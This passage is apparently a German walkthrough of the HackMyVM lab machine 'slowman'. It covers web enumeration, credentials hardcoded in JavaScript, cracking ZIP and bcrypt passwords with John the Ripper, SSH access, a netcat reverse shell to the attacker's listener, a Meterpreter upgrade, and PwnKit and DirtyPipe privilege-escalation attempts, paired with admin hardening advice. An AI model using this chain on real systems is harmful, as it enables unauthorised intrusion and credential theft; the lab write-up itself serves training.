http://slowman.hmv/secretLGIN (Status: 301) [Size: 316] [--> http://slowman.hmv/secretLGIN/] http://slowman.hmv/secretgym (Status: 301) [Size: 314] [--> http://slowman.hmv/secretgym/] http://slowman.hmv/index.html (Status: 200) [Size: 16430] http://slowman.hmv/images (Status: 301) [Size: 311] [--> http://slowman.hmv/images/] http://slowman.hmv/contact.html (Status: 200) [Size: 5232] http://slowman.hmv/css (Status: 301) [Size: 308] [--> http://slowman.hmv/css/] http://slowman.hmv/js (Status: 301) [Size: 307] [--> http://slowman.hmv/js/] http://slowman.hmv/why.html (Status: 200) [Size: 6115] http://slowman.hmv/secretgym/serverSHARE (Status: 301) [Size: 326] [--> http://slowman.hmv/secretgym/serverSHARE/] http://slowman.hmv/secretLGIN/l0gin.php (Status: 200) [Size: 467] http://slowman.hmv/secretLGIN/l0gin.js (Status: 200) [Size: 858] http://slowman.hmv/secretLGIN/login.html (Status: 200) [Size: 655] http://slowman.hmv/secretgym/serverSHARE/credentials.zip (Status: 200) [Size: 309]
Analyse: Die Datei `credentials.zip` wird mit `wget` vom Webserver heruntergeladen.
Bewertung: Der Download ist erfolgreich.
Empfehlung (Pentester): Entpacken Sie die ZIP-Datei. Verwenden Sie Tools wie `zipinfo` oder `unzip -l`, um den Inhalt vorab zu prüfen. Seien Sie auf ein Passwort vorbereitet.
Empfehlung (Admin): Keine spezifische Aktion, außer der bereits genannten Sicherung des Verzeichnisses.
--2023-12-05 15:57:09-- http://slowman.hmv/secretgym/serverSHARE/credentials.zip Auflösen des Hostnamens slowman.hmv (slowman.hmv)… 192.168.2.113 Verbindungsaufbau zu slowman.hmv (slowman.hmv)|192.168.2.113|:80 … verbunden. HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK Länge: 309 [application/zip] Wird in credentials.zip gespeichert. credentials.zip 100%[===================>] 309 --.-KB/s in 0s 2023-12-05 15:57:09 (73.9 MB/s) - credentials.zip gespeichert [309/309]
Analyse: Der Inhalt der JavaScript-Datei `http://slowman.hmv/secretLGIN/l0gin.js` wird angezeigt. Die Funktion `login(username, password)` prüft die eingegebenen Daten direkt im Browser.
Bewertung: Das JavaScript enthält hartkodierte Zugangsdaten für den Benutzer `gonzalo` mit dem Passwort `tH1sS2stH3g0nz4l0pAsSWW0rDD!!`. Dies bestätigt die in der MySQL-Datenbank gefundenen Daten. Die Authentifizierung findet ausschließlich clientseitig statt, was extrem unsicher ist.
Empfehlung (Pentester): Dies bestätigt die Zugangsdaten für `gonzalo`. Der initiale Zugriff per SSH sollte nun möglich sein. Die clientseitige Validierung ist trivial zu umgehen, aber da die Daten bereits bekannt sind, ist dies nicht mehr nötig.
Empfehlung (Admin): Entfernen Sie sofort die hartkodierten Zugangsdaten aus dem JavaScript. Implementieren Sie eine serverseitige Authentifizierung. Führen Sie niemals sicherheitskritische Prüfungen nur im Client durch.
http://slowman.hmv/secretLGIN/l0gin.js document.addEventListener("DOMContentLoaded", function () { document.getElementById("loginForm").addEventListener("submit", function (event) { event.preventDefault(); // Obtener los valores del formulario var username = document.getElementById("username").value; var password = document.getElementById("password").value; // Enviar los datos al servidor login(username, password); }); }); function login(username, password) { // Puedes realizar una solicitud AJAX al servidor para verificar las credenciales // En este ejemplo, simplemente redirigimos al usuario si las credenciales son correctas if (username == "gonzalo" && password == "tH1sS2stH3g0nz4l0pAsSWW0rDD!!") { window.location.href = "/secretgym/"; } else { alert("Incorrect user or password!"); } }
Analyse: Zusammenfassende Notizen, die die Zugangsdaten (`gonzalo`:`tH1sS2stH3g0nz4l0pAsSWW0rDD!!`) und den Zielpfad (`/secretgym/`) nach erfolgreichem Login aus dem JavaScript bestätigen. Es folgt die Ausgabe einer Verzeichnisauflistung von `/secretgym/serverSHARE/`, die nur die `credentials.zip` zeigt.
Bewertung: Konsolidiert die Erkenntnisse aus JavaScript und Verzeichnis-Browsing.
Empfehlung (Pentester): Nächster Schritt ist die Analyse der `credentials.zip`.
Empfehlung (Admin): Sichern Sie den `/secretgym/`-Bereich und die darin enthaltenen Dateien.
# Zusammenfassung der Erkenntnisse aus l0gin.js http://slowman.hmv/secretgym/ -->> username = "gonzalo" password = "tH1sS2stH3g0nz4l0pAsSWW0rDD!!" http://slowman.hmv/secretgym/serverSHARE/ Index of /secretgym/serverSHARE [ICO] Name Last modified Size Description [PARENTDIR] Parent Directory - [ ] credentials.zip 2023-11-22 19:49 309 Apache/2.4.52 (Ubuntu) Server at slowman.hmv Port 80
Analyse: `zip2john` wird verwendet, um aus der heruntergeladenen `credentials.zip` einen Hash-Wert zu extrahieren, der von John the Ripper geknackt werden kann. Der Hash wird in die Datei `hash` umgeleitet.
Bewertung: Der Hash wurde erfolgreich extrahiert. Das Format (`PKZIP Encr: TS_chk`) zeigt an, dass es sich um einen passwortgeschützten ZIP-Container handelt.
Empfehlung (Pentester): Verwenden Sie John the Ripper oder Hashcat mit der Datei `hash`, um das Passwort für die ZIP-Datei zu knacken.
Empfehlung (Admin): Vermeiden Sie die Speicherung sensibler Daten in passwortgeschützten Archiven mit schwachen Passwörtern. Verwenden Sie starke Verschlüsselungsmethoden und sichere Passwortpraktiken.
ver 2.0 efh 5455 efh 7875 credentials.zip/passwords.txt PKZIP Encr: TS_chk, cmplen=117, decmplen=117, crc=4981406D ts=9E02 cs=9e02 type=8
Analyse: `john` (John the Ripper) wird mit der Wortliste `rockyou.txt` auf die Hash-Datei (`hash`) angesetzt, um das Passwort der ZIP-Datei zu knacken.
Bewertung: John ist erfolgreich und findet das Passwort `spongebob1` für die Datei `credentials.zip/passwords.txt`.
Empfehlung (Pentester): Verwenden Sie das gefundene Passwort `spongebob1`, um die `credentials.zip`-Datei zu entpacken.
Empfehlung (Admin): Das Passwort ist relativ schwach und leicht zu erraten/knacken. Erzwingen Sie starke Passwörter auch für Archivdateien.
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob1 (credentials.zip/passwords.txt)
1g 0:00:00:00 DONE (2023-12-05 16:01) 100.0g/s 3276Kp/s 3276Kc/s 3276KC/s s13!34g$3FVA5e@ed..joking
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Analyse: Die ZIP-Datei `credentials.zip` wird mit `unzip` entpackt. Das zuvor gefundene Passwort (`spongebob1`) wird eingegeben (obwohl es in der Ausgabe ausgeblendet ist).
Bewertung: Die Datei `passwords.txt` wird erfolgreich aus dem Archiv extrahiert.
Empfehlung (Pentester): Untersuchen Sie den Inhalt der extrahierten Datei `passwords.txt`.
Empfehlung (Admin): Keine spezifische Aktion.
Archive: credentials.zip [credentials.zip] passwords.txt password: password incorrect--reenter: (Anmerkung: Erste Eingabe war falsch, oder es wurde nur Enter gedrückt) inflating: passwords.txt
Analyse: Der Befehl `ll` (Alias für `ls -l` oder `ls -al`) listet den Inhalt des aktuellen Verzeichnisses auf dem Angreifer-System auf.
Bewertung: Die Auflistung zeigt die heruntergeladene `credentials.zip`, die Hash-Datei, die extrahierte `passwords.txt` sowie andere Dateien und Verzeichnisse, die während des Pentests verwendet oder erstellt wurden.
Empfehlung (Pentester): Dient der Orientierung im lokalen Dateisystem.
Empfehlung (Admin): Keine Relevanz für das Zielsystem.
insgesamt 150728 -rw-r--r-- 1 root root 309 22. Nov 20:49 credentials.zip drwxr-xr-x 3 root root 4096 4. Dez 23:56 cve-2018-15473 -rw-r--r-- 1 root root 6664 30. Nov 23:59 exploit.py -rwxr-xr-x 1 root root 1488 30. Nov 23:28 fuck.py drwxr-xr-x 23 root root 4096 27. Nov 23:18 Hackingtools -rw-r--r-- 1 root root 366 5. Dez 16:01 hash -rw-r--r-- 1 root root 154292650 5. Dez 00:24 hydra.restore -rw-r--r-- 1 root root 117 22. Nov 20:48 passwords.txt -rwxrwxrwx 1 root root 3442 7. Nov 14:37 rev.php -rw-r--r-- 1 root root 512 7. Nov 15:03 shell.ps1 -rwxr-xr-x 1 root root 301 24. Nov 00:06 shell.sh -rw-r--r-- 1 root root 176 5. Dez 15:42 users.txt
Analyse: Der Inhalt der extrahierten Datei `passwords.txt` wird mit `cat` angezeigt.
Bewertung: Die Datei enthält den Benutzernamen `trainerjean` und einen Passwort-Hash im bcrypt-Format (`$2y$10$...`). Dies sind vermutlich die SSH-Zugangsdaten für den Benutzer `trainerjean`.
Empfehlung (Pentester): Knacken Sie den bcrypt-Hash mit John the Ripper oder Hashcat, um das Klartextpasswort für `trainerjean` zu erhalten.
Empfehlung (Admin): Speichern Sie niemals Passwort-Hashes in leicht zugänglichen Dateien. Verwenden Sie sichere Methoden zur Speicherung und Verwaltung von Zugangsdaten. Stellen Sie sicher, dass starke Hashing-Algorithmen mit ausreichend hohen Kostenfaktoren verwendet werden.
---------- $USERS: trainerjean $PASSWRD: $2y$10$DBFBehmb6ktnyGyAtQZNeV/kiNAE.Y3He8cJsvpRxIFEhRAUe1kq ----------
Analyse: Erneuter Versuch, sich per SSH als `trainerjean` anzumelden, bevor der Hash geknackt wurde.
Bewertung: Der Login schlägt erwartungsgemäß fehl.
Empfehlung (Pentester): Knacken Sie zuerst den Hash.
Empfehlung (Admin): Keine spezifische Aktion.
trainerjean@192.168.2.113's password: Permission denied, please try again. trainerjean@192.168.2.113's password:
Analyse: Der bcrypt-Hash aus `passwords.txt` wird in eine neue Datei namens `hash` geschrieben (überschreibt die vorherige `hash`-Datei vom ZIP-Passwort).
Bewertung: Vorbereitung für den nächsten John-the-Ripper-Lauf.
Empfehlung (Pentester): Führen Sie John auf diese neue Hash-Datei aus.
Empfehlung (Admin): Keine spezifische Aktion.
Analyse: `john` wird mit `rockyou.txt` auf die Datei `hash` (die nun den bcrypt-Hash enthält) angesetzt.
Bewertung: John ist erfolgreich und knackt den bcrypt-Hash. Das Klartextpasswort für `trainerjean` lautet `tweety1`.
Empfehlung (Pentester): Verwenden Sie nun die Zugangsdaten `trainerjean`:`tweety1`, um sich per SSH anzumelden. Dies sollte den initialen Zugriff ermöglichen.
Empfehlung (Admin): Das Passwort `tweety1` ist schwach. Erzwingen Sie Passwortrichtlinien für Komplexität und Länge. Überprüfen Sie, warum dieser Hash in einer Datei gespeichert wurde.
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tweety1 (?)
1g 0:00:00:01 DONE (2023-12-05 16:06) 0.5555g/s 720.0p/s 720.0c/s 720.0C/s sweet1..philip
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Analyse: Mit dem geknackten Passwort (`tweety1`) wird eine SSH-Verbindung als Benutzer `trainerjean` aufgebaut.
Bewertung: Der SSH-Login ist erfolgreich! Die Systeminformationen und der letzte Login werden angezeigt. Wir haben nun Initial Access als `trainerjean`.
Empfehlung (Pentester): Beginnen Sie mit der Post-Exploitation-Enumeration als `trainerjean`. Suchen Sie nach Wegen zur Privilegieneskalation (`sudo -l`, SUID-Binaries, Capabilities, Cronjobs, Kernel-Version etc.).
Empfehlung (Admin): Ändern Sie sofort das Passwort für `trainerjean`. Untersuchen Sie die Logins und die Kompromittierungskette (FTP-Datei -> ZIP -> Hash -> schwaches Passwort).
trainerjean@192.168.2.113's password: Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-89-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of mar 05 dic 2023 15:07:24 UTC System load: 0.05029296875 Usage of /: 67.3% of 9.75GB Memory usage: 57% Swap usage: 0% Processes: 107 Users logged in: 0 IPv4 address for enp0s3: 192.168.2.113 IPv6 address for enp0s3: 2003:d4:c720:2381:a00:27ff:fe04:7dc6 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s just raised the bar for easy, resilient and secure K8s cluster deployment. https://ubuntu.com/engage/secure-kubernetes-at-the-edge El mantenimiento de seguridad expandido para Applications está desactivado. Se pueden aplicar 36 actualizaciones de forma inmediata. Para ver estas actualizaciones adicionales, ejecute: apt list --upgradable Active ESM Apps para recibir futuras actualizaciones de seguridad adicionales. Vea https://ubuntu.com/esm o ejecute sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Fri Nov 24 19:53:52 2023 from 192.168.2.5
Analyse: Nach dem Login als `trainerjean` wird `sudo -l` ausgeführt, um die sudo-Berechtigungen zu prüfen.
Bewertung: Der Befehl erfordert das Passwort von `trainerjean`. Nach (vermutlich falscher) Eingabe wird gemeldet, dass `trainerjean` keine sudo-Rechte hat (`Sorry, user trainerjean may not run sudo on slowman.`).
Empfehlung (Pentester): Sudo ist kein direkter Weg zur Privilegieneskalation für diesen Benutzer. Suchen Sie nach anderen Vektoren wie SUID-Binaries, Capabilities, Cronjobs, Kernel-Exploits.
Empfehlung (Admin): Korrekte Konfiguration, dass der Benutzer keine unnötigen sudo-Rechte hat.
[sudo] password for trainerjean: Sorry, try again. [sudo] password for trainerjean: Sorry, user trainerjean may not run sudo on slowman.
Analyse: Der Befehl `ss -altpn` wird ausgeführt, um alle lauschenden TCP-Netzwerksockets (`-lt`), deren zugehörige Prozesse (`-p`) und numerische Adressen/Ports (`-n`) aufzulisten (`-a` zeigt alle Sockets).
Bewertung: Die Ausgabe bestätigt die bereits bekannten offenen Ports 21 (FTP), 22 (SSH), 80 (HTTP) und 3306 (MySQL). Zusätzlich lauscht MySQL auch auf Port 33060 auf dem Localhost (`127.0.0.1`). Port 53 (DNS) lauscht ebenfalls auf Localhost (`127.0.0.53`).
Empfehlung (Pentester): Der zusätzliche MySQL-Port 33060 auf Localhost könnte interessant sein, falls eine lokale Schwachstelle (z.B. in einer Webanwendung) ausgenutzt werden kann, um darauf zuzugreifen. Für den direkten externen Zugriff ist er nicht relevant.
Empfehlung (Admin): Stellen Sie sicher, dass Dienste nur auf den notwendigen Interfaces und Ports lauschen.
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 70 127.0.0.1:33060 0.0.0.0:* LISTEN 0 151 0.0.0.0:3306 0.0.0.0:* LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:* LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 511 *:80 *:* LISTEN 0 32 *:21 *:* LISTEN 0 128 [::]:22 [::]:*
Analyse: Mit `find / -perm -4000 -ls 2>/dev/null` wird das gesamte Dateisystem nach Dateien mit gesetztem SUID-Bit durchsucht. Das SUID-Bit erlaubt das Ausführen einer Datei mit den Rechten des Dateieigentümers (oft `root`). Fehlermeldungen werden unterdrückt (`2>/dev/null`).
Bewertung: Es wird eine lange Liste von SUID-Binaries gefunden, viele davon Standard-Systemdateien (innerhalb von `/snap/...` oder `/usr/bin/` wie `passwd`, `su`, `sudo`, `mount`). Es gibt keine offensichtlich ungewöhnlichen oder benutzerdefinierten SUID-Dateien, die auf einen einfachen Exploit hindeuten.
Empfehlung (Pentester): Überprüfen Sie die Versionen der gefundenen Standard-SUID-Binaries auf bekannte Schwachstellen (z.B. ältere Versionen von `sudo`). Obwohl keine ungewöhnlichen Dateien gefunden wurden, können Standard-Tools manchmal missbraucht werden (GTFOBins). Konzentrieren Sie sich auch auf andere PE-Vektoren wie Capabilities.
Empfehlung (Admin): Minimieren Sie die Anzahl der SUID-Binaries auf dem System. Entfernen Sie das SUID-Bit von Dateien, die es nicht benötigen. Halten Sie alle Systemkomponenten aktuell.
843 84 -rwsr-xr-x 1 root root 85064 nov 29 2022 /snap/core20/2015/usr/bin/chfn 849 52 -rwsr-xr-x 1 root root 53040 nov 29 2022 /snap/core20/2015/usr/bin/chsh 918 87 -rwsr-xr-x 1 root root 88464 nov 29 2022 /snap/core20/2015/usr/bin/gpasswd 1002 55 -rwsr-xr-x 1 root root 55528 may 30 2023 /snap/core20/2015/usr/bin/mount 1011 44 -rwsr-xr-x 1 root root 44784 nov 29 2022 /snap/core20/2015/usr/bin/newgrp 1026 67 -rwsr-xr-x 1 root root 68208 nov 29 2022 /snap/core20/2015/usr/bin/passwd 1136 67 -rwsr-xr-x 1 root root 67816 may 30 2023 /snap/core20/2015/usr/bin/su 1137 163 -rwsr-xr-x 1 root root 166056 abr 4 2023 /snap/core20/2015/usr/bin/sudo 1195 39 -rwsr-xr-x 1 root root 39144 may 30 2023 /snap/core20/2015/usr/bin/umount 1284 51 -rwsr-xr-- 1 root systemd-resolve 51344 oct 25 2022 /snap/core20/2015/usr/lib/dbus-1.0/dbus-daemon-launch-helper 1656 463 -rwsr-xr-x 1 root root 473576 jul 19 19:56 /snap/core20/2015/usr/lib/openssh/ssh-keysign 847 84 -rwsr-xr-x 1 root root 85064 nov 29 2022 /snap/core20/1974/usr/bin/chfn 853 52 -rwsr-xr-x 1 root root 53040 nov 29 2022 /snap/core20/1974/usr/bin/chsh 922 87 -rwsr-xr-x 1 root root 88464 nov 29 2022 /snap/core20/1974/usr/bin/gpasswd 1006 55 -rwsr-xr-x 1 root root 55528 may 30 2023 /snap/core20/1974/usr/bin/mount 1015 44 -rwsr-xr-x 1 root root 44784 nov 29 2022 /snap/core20/1974/usr/bin/newgrp 1030 67 -rwsr-xr-x 1 root root 68208 nov 29 2022 /snap/core20/1974/usr/bin/passwd 1140 67 -rwsr-xr-x 1 root root 67816 may 30 2023 /snap/core20/1974/usr/bin/su 1141 163 -rwsr-xr-x 1 root root 166056 abr 4 2023 /snap/core20/1974/usr/bin/sudo 1199 39 -rwsr-xr-x 1 root root 39144 may 30 2023 /snap/core20/1974/usr/bin/umount 1288 51 -rwsr-xr-- 1 root systemd-resolve 51344 oct 25 2022 /snap/core20/1974/usr/lib/dbus-1.0/dbus-daemon-launch-helper 1660 463 -rwsr-xr-x 1 root root 473576 abr 3 2023 /snap/core20/1974/usr/lib/openssh/ssh-keysign 297 129 -rwsr-xr-x 1 root root 131832 may 27 2023 /snap/snapd/19457/usr/lib/snapd/snap-confine 297 129 -rwsr-xr-x 1 root root 131832 sep 15 20:13 /snap/snapd/20290/usr/lib/snapd/snap-confine 1410 36 -rwsr-xr-- 1 root messagebus 35112 oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 38991 332 -rwsr-xr-x 1 root root 338536 ago 24 13:40 /usr/lib/openssh/ssh-keysign 10243 136 -rwsr-xr-x 1 root root 138408 may 29 2023 /usr/lib/snapd/snap-confine 829 48 -rwsr-xr-x 1 root root 47480 feb 21 2022 /usr/bin/mount 1111 56 -rwsr-xr-x 1 root root 55672 feb 21 2022 /usr/bin/su 680 36 -rwsr-xr-x 1 root root 35200 mar 23 2022 /usr/bin/fusermount3 1112 228 -rwsr-xr-x 1 root root 232416 abr 3 2023 /usr/bin/sudo 696 72 -rwsr-xr-x 1 root root 72072 nov 24 2022 /usr/bin/gpasswd 875 60 -rwsr-xr-x 1 root root 59976 nov 24 2022 /usr/bin/passwd 566 72 -rwsr-xr-x 1 root root 72712 nov 24 2022 /usr/bin/chfn 572 44 -rwsr-xr-x 1 root root 44808 nov 24 2022 /usr/bin/chsh 841 40 -rwsr-xr-x 1 root root 40496 nov 24 2022 /usr/bin/newgrp 1187 36 -rwsr-xr-x 1 root root 35192 feb 21 2022 /usr/bin/umount 13735 20 -rwsr-xr-x 1 root root 18736 feb 26 2022 /usr/libexec/polkit-agent-helper-1
Analyse: Auf dem Angreifer-System wird Metasploit (`msfconsole -q`) gestartet. Es wird versucht, den `multi/handler` zu laden (mit Tippfehlern), was fehlschlägt. Nach Korrektur des Namens wird der Handler geladen, und ein Listener für eine Reverse-TCP-Shell (`generic/shell_reverse_tcp`) auf der lokalen Netzwerkschnittstelle `eth0` (IP 192.168.2.199) und Port 4444 konfiguriert und gestartet.
Bewertung: Der Listener ist bereit, eine eingehende Verbindung vom Zielsystem entgegenzunehmen. Dies bereitet eine Reverse Shell vor, um eine interaktivere Sitzung als die SSH-Verbindung zu erhalten oder falls die SSH-Verbindung abbricht.
Empfehlung (Pentester): Führen Sie auf dem Zielsystem einen Befehl aus, der eine Verbindung zu `192.168.2.199:4444` herstellt (z.B. mit `nc`, `bash`, `python`, `perl`).
Empfehlung (Admin): Überwachen Sie ausgehende Netzwerkverbindungen vom Zielsystem (Egress Filtering), um das Etablieren von Reverse Shells zu erkennen oder zu verhindern.
[-] No results from search [-] Failed to load module: mutli/handler
[-] No results from search [-] Failed to load module: mutli/handler
[*] Using configured payload generic/shell_reverse_tcp
lhost => 192.168.2.199
lport => 4444
[*] Started reverse TCP handler on 192.168.2.199:4444
Analyse: Auf dem Zielsystem (in der SSH-Sitzung als `trainerjean`) wird ein Befehl ausgeführt, um eine Reverse Shell zum Metasploit-Listener aufzubauen. Es wird eine Named Pipe (`/tmp/f`) erstellt (`mkfifo`), der Inhalt dieser Pipe wird in eine Shell (`/bin/sh -i`) geleitet, deren Ein-/Ausgabe (`2>&1`) über Netcat (`nc`) an den Angreifer (`192.168.2.199:4444`) gesendet wird, und die Ausgabe von Netcat wird wiederum in die Pipe geschrieben (`>/tmp/f`), um die Shell am Leben zu erhalten. Der `rm`-Befehl schlägt fehl, da die Pipe noch nicht existiert, was aber harmlos ist.
Bewertung: Der Befehl ist erfolgreich. Im Metasploit-Fenster wird angezeigt, dass eine Command Shell Session (`session 1`) geöffnet wurde.
Empfehlung (Pentester): Sie haben nun eine alternative Shell-Sitzung über Metasploit. Diese kann für bestimmte Aufgaben (z.B. Upgrade zu Meterpreter) nützlicher sein als die reine SSH-Sitzung.
Empfehlung (Admin): Überwachen Sie die Erstellung von Named Pipes und die Ausführung von Netzwerk-Tools wie `nc`. Beschränken Sie ausgehende Verbindungen.
rm: cannot remove '/tmp/f': No such file or directory
[*] Command shell session 1 opened (192.168.2.199:4444 -> 192.168.2.113:57242) at 2023-12-05 16:10:29 +0100 Shell Banner: $ ----- $ $
Analyse: In Metasploit wird das Post-Exploitation-Modul `multi/manage/shell_to_meterpreter` verwendet, um die bestehende Command Shell (`session 1`) in eine funktionsreichere Meterpreter-Sitzung zu upgraden. Ein neuer Listener-Port (`4443`) wird konfiguriert, und das Modul wird ausgeführt.
Bewertung: Das Upgrade ist erfolgreich. Eine neue Meterpreter-Sitzung (`session 2`) wird auf Port 4443 geöffnet.
Empfehlung (Pentester): Nutzen Sie die Vorteile der Meterpreter-Sitzung für weitere Enumeration, Datei-Up/Downloads, Pivoting oder die Ausführung anderer Meterpreter-spezifischer Module.
Empfehlung (Admin): Erkennung von Payload-Staging (wie es hier passiert) durch Netzwerk- und Host-basierte Intrusion Detection Systeme (NIDS/HIDS). Prozessüberwachung auf dem Zielsystem.
session => 1
lport => 4443
[*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 192.168.2.199:4443 [*] Sending stage (1017704 bytes) to 192.168.2.113 [*] Meterpreter session 2 opened (192.168.2.199:4443 -> 192.168.2.113:48424) at 2023-12-05 16:11:52 +0100 [*] Command stager progress: 100.00% (773/773 bytes) [*] Post module execution completed
Analyse: Es wird in Metasploit nach Modulen gesucht, die `4034` im Namen enthalten, was auf die PwnKit-Schwachstelle (CVE-2021-4034) in `pkexec` abzielt. Das Modul `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec` (Index 1) wird ausgewählt. Die Meterpreter-Sitzung (`session 2`) und ein neuer Listener-Port (`4445`) werden konfiguriert, und der Exploit wird gestartet.
Bewertung: Der automatische Check (`AutoCheck`) des Moduls stellt fest, dass das Ziel nicht anfällig ist, da die `pkexec`-Binary nicht gefunden wird. Der Exploit wird abgebrochen.
Empfehlung (Pentester): PwnKit ist hier kein gangbarer Weg. Versuchen Sie andere vom `local_exploit_suggester` vorgeschlagene Module oder suchen Sie manuell nach anderen Schwachstellen.
Empfehlung (Admin): Stellen Sie sicher, dass `pkexec` entweder nicht installiert ist oder auf eine gepatchte Version aktualisiert wurde.
Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/scanner/http/dolibarr_16_contact_dump 2023-03-14 normal Yes Dolibarr 16 pre-auth contact database dump 1 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec 2022-01-25 excellent Yes Local Privilege Escalation in polkits pkexec 2 exploit/windows/local/ms18_8120_win32k_privesc 2018-05-09 good No Windows SetImeInfoEx Win32k NULL Pointer Dereference Interact with a module by name or index. For example info 2, use 2 or use exploit/windows/local/ms18_8120_win32k_privesc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
lport => 4445
session => 2
[*] Started reverse TCP handler on 192.168.2.199:4445 [*] Running automatic check ("set AutoCheck false" to disable) [-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. The pkexec binary was not found; try populating PkexecPath "set ForceExploit true" to override check result. [*] Exploit completed, but no session was created.
Analyse: Das Metasploit-Modul `post/multi/recon/local_exploit_suggester` wird verwendet, um basierend auf der aktuellen Sitzung (`session 2`) nach potenziellen lokalen Privilegieneskalations-Exploits zu suchen. Nach anfänglichem Fehler (Session nicht gesetzt) wird die Sitzung konfiguriert und das Modul ausgeführt.
Bewertung: Der Suggester identifiziert drei potenziell relevante Exploits: 1. `exploit/linux/local/cve_2022_0847_dirtypipe`: Scheint anfällig zu sein (Kernel 5.15.0). 2. `exploit/linux/local/netfilter_priv_esc_ipv4`: Scheint anfällig zu sein. 3. `exploit/linux/local/su_login`: Scheint anfällig zu sein. Dies gibt konkrete nächste Schritte für die Privilegieneskalation.
Empfehlung (Pentester): Testen Sie die vorgeschlagenen Exploits systematisch, beginnend mit dem vielversprechendsten (oft Kernel-Exploits wie DirtyPipe, wenn die Version passt).
Empfehlung (Admin): Halten Sie das System (Kernel, Pakete) aktuell, um bekannte Schwachstellen wie DirtyPipe zu patchen. Überprüfen Sie die Netfilter-Konfiguration und die `su`-Implementierung.
Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 post/multi/recon/local_exploit_suggester normal No Multi Recon Local Exploit Suggester Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester
[-] Post failed: Msf::OptionValidateError The following options failed to validate: SESSION.
session => 2
lport => 4445
[*] 192.168.2.113 - Collecting local exploits for x86/linux... [*] 192.168.2.113 - 188 exploit checks are being tried... [*] Running check method for exploit 13 / 58 [+] 192.168.2.113 - exploit/linux/local/cve_2022_0847_dirtypipe: The target appears to be vulnerable. Linux kernel version found: 5.15.0 [+] 192.168.2.113 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable. [+] 192.168.2.113 - exploit/linux/local/su_login: The target appears to be vulnerable. [*] Running check method for exploit 58 / 58 [*] 192.168.2.113 - Valid modules for session 2: # Name Potentially Vulnerable? Check Result - ---- ----------------------- ------------ 1 exploit/linux/local/cve_2022_0847_dirtypipe Yes The target appears to be vulnerable. Linux kernel version found: 5.15.0 2 exploit/linux/local/netfilter_priv_esc_ipv4 Yes The target appears to be vulnerable. 3 exploit/linux/local/su_login Yes The target appears to be vulnerable. [*] Post module execution completed
Analyse: Der DirtyPipe-Exploit (`exploit/linux/local/cve_2022_0847_dirtypipe`) wird ausgewählt und konfiguriert (Listener-Host/Port, Session 2). Der Exploit wird gestartet.
Bewertung: Obwohl der Check zuvor positiv war, meldet der Exploit bei der Ausführung `Exploit completed, but no session was created`. Er schlägt also fehl, eine Root-Shell zu liefern, obwohl er versucht, die SUID-Datei `/bin/passwd` zu überschreiben.
Empfehlung (Pentester): DirtyPipe funktioniert hier nicht wie erwartet. Versuchen Sie die anderen vom Suggester vorgeschlagenen Exploits (`netfilter_priv_esc_ipv4`, `su_login`) oder suchen Sie nach anderen Vektoren (Capabilities, Fehlkonfigurationen).
Empfehlung (Admin): Auch wenn der Exploit hier fehlschlug, ist die Anfälligkeit laut Suggester vorhanden. Patchen Sie den Kernel, um CVE-2022-0847 zu beheben.
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
Module options (exploit/linux/local/cve_2022_0847_dirtypipe): Name Current Setting Required Description ---- --------------- -------- ----------- COMPILE Auto yes Compile on target (Accepted: Auto, True, Fal se) SESSION yes The session to run this module on SUID_BINARY_PATH /bin/passwd no The path to a suid binary WRITABLE_DIR /tmp yes A directory where we can write files Payload options (linux/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic View the full module info with the info, or info -d command.
lhost => 192.168.2.199
lport => 4448
[-] Msf::OptionValidateError The following options failed to validate: SESSION
session => 2
[*] Started reverse TCP handler on 192.168.2.199:4448 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Linux kernel version found: 5.15.0 [*] Writing '/tmp/.vynenlonxzqd' (35592 bytes) ... [*] Executing exploit '/tmp/.vynenlonxzqd /bin/passwd' [*] Exploit completed, but no session was created.
Analyse: Der Exploit `exploit/linux/local/su_login` wird ausgewählt und konfiguriert (Username `root`, Listener, Session 2). Dieser Exploit versucht, `su` zu verwenden, um eine Root-Shell zu bekommen.
Bewertung: Auch dieser Exploit schlägt fehl (`Exploit completed, but no session was created`). Die Methode funktioniert auf diesem System nicht.
Empfehlung (Pentester): Die Metasploit-Kernel-Exploits scheinen nicht zu funktionieren. Konzentrieren Sie sich auf die Enumeration von Fehlkonfigurationen, Capabilities oder anderen Vektoren.
Empfehlung (Admin): Überprüfen Sie die `su`-Konfiguration. Stellen Sie sicher, dass keine bekannten Schwachstellen in den verwendeten Login-Mechanismen vorhanden sind.
USERNAME => root
[-] Msf::OptionValidateError The following options failed to validate: SESSION
lhost => 192.168.2.199
lport => 4448
session => 2
